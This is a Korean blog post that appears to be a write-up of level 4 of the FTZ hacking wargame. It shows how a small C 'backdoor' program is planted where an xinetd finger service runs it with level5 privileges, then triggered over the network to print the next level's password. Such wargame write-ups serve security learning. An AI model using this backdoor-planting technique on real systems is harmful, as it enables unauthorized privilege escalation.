리눅스 Xinetd - 오라클 가상 머신 사용 - CentOS7 - Windows 10 - 데몬을 관리하는 데몬이다. ( 슈퍼 데몬 ) - inetd 에서 xinetd로 - 기존의 inetd 슈퍼데몬의 비효율적인 리소스 관리와 보안성 문제를 극복하

sungpil94.tistory.com

finger라는 서비스 요청 시 level5의 사용자 권한으로 /home/level4/tmp/backdoor 파일을 실행한다.

/home/level4/tmp 폴더로 이동 후 vi backdoor.c 명령으로 소스 파일을 만든다.

#include <stdlib.h>
main(){
	system("my-pass");
}

입력 후 gcc backdoor.c -o backdoor 명령어로 컴파일한다.

backdoor 파일이 생성된다.

finger @'현재 구동 중인 가상머신의 ftz 서버 ip'를 입력하면 backdoor가 실행되며 level5의 비밀번호가 나온다.

finger @localhost로 대체가능하다.

localhost는 결국 내 pc이므로 우리는 현재 xshell로 ftz서버에 접속해 있다. 따라서 ftz 서버를 가리킨다.

finger만 입력하면 명령어는 실행되지만 비밀번호는 나오지 않는다.

finger의 속성파일이 /etc/xinetd.d에 있었듯이 xinetd의 서비스이기에 네트워크를 통해 접속하는 요청이어야 하기 때문이다.

finger 명령어만 입력하면 단순히 내부 pc에서 실행된다.

[level4@ftz tmp]$ finger @192.168.93.128
^[[H^[[J
Level5 Password is "what is your name?".

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".

혹시 비밀번호가 출력 안되면 몇 번 반복해서 시도해 보자.

728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07
level1  (1) 2023.01.07

+ Recent posts